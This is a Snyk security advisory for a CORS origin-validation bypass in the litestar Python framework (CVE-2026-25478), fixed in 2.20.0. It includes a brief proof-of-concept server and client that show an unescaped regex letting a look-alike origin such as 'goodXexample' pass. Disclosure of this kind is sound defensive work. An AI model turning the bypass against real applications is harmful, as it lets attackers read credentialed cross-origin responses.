Permissive Cross-domain Policy with Untrusted Domains Affecting litestar package, versions [,2.20.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.02% (5th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Permissive Cross-domain Policy with Untrusted Domains vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-LITESTAR-15253000
  • published2 Mar 2026
  • disclosed9 Feb 2026
  • creditSirdorblu

Introduced: 9 Feb 2026

CVE-2026-25478  (opens in a new tab)
CWE-942  (opens in a new tab)

How to fix?

Upgrade litestar to version 2.20.0 or higher.

Overview

litestar is a Litestar - A production-ready, highly performant, extensible ASGI API Framework

Affected versions of this package are vulnerable to Permissive Cross-domain Policy with Untrusted Domains via the CORSConfig.allowed_origins_regex, which uses a regex built from configured allowlist values and used with fullmatch() for validation. An attacker can bypass origin validation by supplying a malicious origin containing unescaped regex metacharacters.

PoC

Server

from litestar import Litestar, get
from litestar.config.cors import CORSConfig

@get("/c") async def c() -> str: return "ok"

cors = CORSConfig( allow_origins=["https://good.example"], allow_credentials=True, ) app = Litestar([c], cors_config=cors) uvicorn poc_cors_server:app --host 127.0.0.1 --port 8002

Client

import http.client

def req(origin: str) -> tuple[int, str | None]: c = http.client.HTTPConnection("127.0.0.1", 8002, timeout=3) c.request("GET", "/c", headers={"Origin": origin, "Host": "example.com"}) r = c.getresponse() r.read() acao = r.getheader("Access-Control-Allow-Origin") c.close() return r.status, acao

print("evil:", req("https://evil.example")) print("bypass:", req("https://goodXexample"))

CVSS Base Scores

version 4.0
version 3.1